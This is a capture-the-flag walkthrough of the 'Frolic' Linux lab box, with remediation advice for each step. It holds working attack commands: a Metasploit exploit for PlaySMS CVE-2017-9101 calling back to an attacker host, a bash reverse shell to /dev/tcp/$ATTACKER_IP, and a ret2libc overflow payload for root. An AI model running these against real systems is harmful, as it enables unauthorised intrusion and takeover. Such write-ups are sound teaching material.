← all walkthroughs

Frolic

Linux· Easy
owned
2026-07-03
time to own
11m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a web server and discovered an administrative panel secured only by client-side JavaScript. By decoding a multi-layer encoding puzzle embedded in the application — custom symbol cipher, hidden URL, [REDACTED: recovered credential] ZIP, hex, base64, and Brainfuck — I recovered valid credentials.

Those credentials authenticated to an outdated PlaySMS instance containing a known server-side code-injection flaw (CVE-2017-9101), which returned a shell as the web-server account. Privilege escalation was achieved by exploiting a stack buffer overflow in a custom SUID-flagged 32-bit binary, crafting a ret2libc payload that called system('/bin/sh') with root privileges.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning (Nmap)
Mapped all open services on the target
A port scan of $TARGET identified five open TCP services: SSH (22), SMB (139/445), and two nginx listeners on ports 1880 and 9999. Port 9999 hosted the primary attack surface. No credentials or special access were required to run this scan.
Nmap -Pn -p22,139,445,1880,9999 confirmed all five ports open with service banners.
Exact commands 1
Version scan of the five known ports; confirms nginx on 9999 as the primary web surface.
nmap -Pn -p22,139,445,1880,9999 -T4 -sV $TARGET
2EnumerationWeb directory enumeration (Gobuster)
Discovered hidden administrative and application directories via directory brute-force
Directory brute-forcing the nginx site on port 9999 revealed /admin and /playsms (a PlaySMS web application), along with /test, /dev, /backup, and /loop. Both sensitive directories were freely accessible from the internet with no network-layer restriction in place.
Exact commands 2
Enumerate directories; expect /admin, /playsms, /test, /dev, /backup, /loop.
gobuster dir -u http://$TARGET:9999/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster_9999.txt
Verify /admin returns 200 — no network-level protection.
curl -s -o /dev/null -w '%{http_code}' http://$TARGET:9999/admin/
FixRestrict administrative web interfaces to authorised source IPsHigh
WeaknessThe /admin control panel and the PlaySMS application on port 9999 were fully reachable from the internet with no network-level controls. This gave an unauthorised user an unrestricted opportunity to attack whatever vulnerabilities the applications contained.
FixBlock port 9999 (and 1880) at the perimeter firewall for all source addresses except an explicitly approved management range. If remote access is required, put the management interface behind a VPN and require it before the port is reachable at all. At the nginx layer, add 'allow <management-ip>; deny all;' blocks to the /admin and /playsms location directives so that even if a firewall rule is missed, the web server enforces the restriction. This control does not fix the application-layer vulnerabilities, but it eliminates unauthenticated internet access to them.
3Credential AccessClient-side authentication bypass; multi-layer encoding analysis (custom symbol cipher, Brainfuck, base64, hex)
Bypassed a client-side-only login and decoded a multi-layer obfuscation chain to recover the application [REDACTED: recovered credential]
The /admin panel validated credentials entirely in browser-side JavaScript; supplying [REDACTED: recovered credential] was sufficient to pass it because the server performed no check of its own. The post-login success page displayed a cipher composed of '.', '!', and '?' characters. Mapping two-character pairs to standard Brainfuck tokens and running the result revealed a hidden URL path (/asdiSIAJJ0QWE9JAS). That path served a base64-encoded blob; decoding it produced a ZIP archive that opened with the trivial [REDACTED: recovered credential] '[REDACTED: recovered credential]'. The ZIP's single file was hex-encoded, then base64-encoded, then Brainfuck-encoded a second time. Fully unwinding that chain yielded the plaintext credential: [REDACTED: recovered credential].
Exact commands 5
Confirm credentials are validated in JS only — [REDACTED: recovered credential] is hard-coded in the script.
curl -s http://$TARGET:9999/admin/js/login.js | grep -i 'admin\|pass'
Retrieve the post-login page containing the .!? Cipher.
curl -s http://$TARGET:9999/admin/success.html -o success.html
Decode the symbol cipher to valid Brainfuck; run stage1.bf in any BF interpreter to get the hidden path /asdiSIAJJ0QWE9JAS.
python3 -c "s=open('success.html').read().strip(); m={'.?':'>','?.':'<','..':'+','!!':'-','!.':'.','.!':',','!?':'[','?!':']'}; print(''.join(m.get(s[i:i+2],'') for i in range(0,len(s)-1,2)))" > stage1.bf
Fetch the hidden URL, base64-decode the response to a ZIP, and extract its contents with [REDACTED: recovered credential] '[REDACTED: recovered credential]'.
curl -s http://$TARGET:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > frolic.zip && unzip -P [REDACTED: recovered credential] frolic.zip
Unwind hex → base64; run stage2.bf in any BF interpreter — output is '[REDACTED: recovered credential]'.
python3 -c "import base64; h=open('index.php').read().strip(); print(base64.b64decode(bytes.fromhex(h)).decode())" > stage2.bf
FixImplement server-side authentication and remove credentials from client-accessible filesHigh
WeaknessThe /admin login was enforced entirely in browser-side JavaScript, so supplying [REDACTED: recovered credential] bypassed it with no server interaction. Additionally, a valid application [REDACTED: recovered credential] ('[REDACTED: recovered credential]') was hidden in a publicly accessible URL using only reversible encoding layers — encoding is not encryption and provides no protection to anyone who discovers the URL.
FixReplace the client-side JavaScript login with a proper server-side session mechanism (for example, a PHP or Python backend that validates credentials against a securely hashed [REDACTED: recovered credential] store such as bcrypt). The server must reject any request to protected resources that does not carry a valid session token; the client must never be trusted to enforce access controls. Remove the encoded credential file and the hidden path /asdiSIAJJ0QWE9JAS from the web root entirely and rotate the '[REDACTED: recovered credential]' [REDACTED: recovered credential] immediately. Conduct a source-code audit of the full web application to find any other secrets stored in client-delivered files. Going forward, secrets must never appear in HTML, JavaScript, or any file under the web root.
4Initial AccessAuthenticated web application RCE — PHP template injection via CSV import (CVE-2017-9101)
Exploited PlaySMS 1.4 authenticated CSV-import code injection (CVE-2017-9101) to obtain a remote shell
The recovered credentials (admin / [REDACTED: recovered credential]) authenticated to PlaySMS at /playsms/. PlaySMS version 1.4 is vulnerable to CVE-2017-9101: its phonebook CSV import endpoint renders PHP expressions embedded in field values on the server without any sanitisation, enabling any authenticated user to execute OS commands. The Metasploit module exploit/multi/http/playsms_uploadcsv_exec delivered a PHP Meterpreter payload and returned a reverse shell running as the web-server account www-data. The PHP Meterpreter session was used to spawn a stable interactive bash shell back to a second listener.
Exact commands 4
Fire CVE-2017-9101; returns a PHP Meterpreter session as www-data.
msfconsole -q -x "use exploit/multi/http/playsms_uploadcsv_exec; set RHOSTS $TARGET; set RPORT 9999; set TARGETURI /playsms/; set USERNAME admin; set PASSWORD [REDACTED: recovered credential]; set LHOST $ATTACKER_IP; set LPORT 4444; run"
Open a second listener on my machine for the stable bash reverse shell.
nc -lvnp 4445
Run inside the Meterpreter session to spawn a stable interactive bash shell on the second listener.
execute -f /bin/bash -a "-c 'bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1'"
Locate and read the user flag from the bash shell — value: <user.txt>.
find /home -name user.txt -exec cat {} \;
FixUpgrade or remove PlaySMS 1.4 (CVE-2017-9101)Critical
WeaknessPlaySMS version 1.4 renders PHP code embedded in CSV phonebook import fields directly on the server without any sanitisation. Any authenticated user — even one who logged in with default credentials — could execute arbitrary operating-system commands as the web-server process.
FixUpgrade PlaySMS to version 1.4.3 or the current latest release, which patches CVE-2017-9101. If the application is no longer needed, uninstall it entirely and remove its web root. If an immediate upgrade is not possible, disable or delete the CSV import module from the PlaySMS installation directory and block access to /playsms/ at the nginx level for all IP addresses except an approved management allowlist. Rotate the 'admin' credential (currently '[REDACTED: recovered credential]') immediately and enforce a minimum-length, randomly generated [REDACTED: recovered credential] for all application accounts going forward.
5DiscoverySUID binary discovery (find); binary analysis (file, readelf, objdump/Ghidra)
Located a root-owned SUID binary containing a stack buffer overflow
A standard search for SUID binaries on the filesystem revealed /home/ayush/.binary/rop, owned by root with the SUID bit set. The file command confirmed it as an unstripped 32-bit (i386) ELF executable — not a system utility. Both the binary and the target system's 32-bit C library (/lib/i386-linux-gnu/libc.so.6) were downloaded to my machine. Offline disassembly of main() exposed a call to an unsafe input function with no bounds checking on the destination buffer, confirming exploitability.
Engagement finding: 'Privilege Escalation to root: Suid I386 Ret2Libc Via /Home/Ayush/.Binary/Rop — Critical'.
Exact commands 4
List all root-owned SUID binaries; /home/ayush/.binary/rop appears in the results.
find / -perm -4000 -user root -type f 2>/dev/null
Confirm: ELF 32-bit LSB executable, Intel 80386, not stripped — unusual custom binary with SUID.
file /home/ayush/.binary/rop
From the Meterpreter session — pull the binary and libc to my machine for offline analysis.
download /home/ayush/.binary/rop /tmp/rop && download /lib/i386-linux-gnu/libc.so.6 /tmp/libc.so.6
Disassemble main() to identify the unsafe call and measure the buffer size for padding calculation.
objdump -d /tmp/rop | grep -A 20 '<main>'
FixRemove the SUID bit from insecure custom binaries and fix the underlying buffer overflowCritical
WeaknessThe binary /home/ayush/.binary/rop carried the SUID root bit and contained a stack buffer overflow. Any local user — including the low-privilege web-server account www-data — could run it and immediately become root.
FixRemove the SUID bit right now: run 'chmod u-s /home/ayush/.binary/rop'. Audit every SUID and SGID binary on the system ('find / -perm /6000 -type f 2>/dev/null') and revoke elevated permissions from any binary that does not have a current, documented operational need. If this binary must stay and must run as root, rewrite it to replace unsafe input functions (gets, strcpy, sprintf) with bounded equivalents (fgets, strncpy, snprintf), and recompile with hardening flags (-fstack-protector-strong, full RELRO, PIE). Confirm ASLR is set to full randomisation ('sysctl kernel.randomize_va_space' should return 2); while ASLR alone did not stop this attack, it significantly raises the bar for all memory-corruption exploits.
6Privilege Escalationret2libc stack buffer overflow exploit (32-bit, i386, SUID binary)
Exploited stack buffer overflow in the SUID binary via ret2libc to gain a root shell
ASLR was enabled on the system, so a static payload would not work reliably. However, because the downloaded libc was an exact copy of what the target loads, I resolved the absolute runtime addresses of system(), exit(), and the '/bin/sh' string directly from that file. Sending 52 bytes of padding to overflow the buffer and overwrite the saved return address, followed by the three addresses packed in little-endian order, caused /home/ayush/.binary/rop — executing as root due to the SUID bit — to call system('/bin/sh'), returning a root interactive shell.
Exact commands 4
Extract the file offsets of system() and exit() from the downloaded libc.
readelf -s /tmp/libc.so.6 | grep -w 'system\|exit'
Find the file offset of the '/bin/sh' string inside libc.
strings -a -t x /tmp/libc.so.6 | grep '/bin/sh'
Deliver ret2libc payload: 52-byte pad + system()@0xb7e53da0 + exit()@0xb7e479d0 + /bin/sh@0xb7f74a0b (addresses resolved from the target's libc). Returns root shell.
/home/ayush/.binary/rop "$(python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*52+struct.pack("<III",0xb7e53da0,0xb7e479d0,0xb7f74a0b))')"
Read the root flag from the elevated shell — value: <root.txt>.
cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
139/tcp
445/tcp
1880/tcp
9999/tcp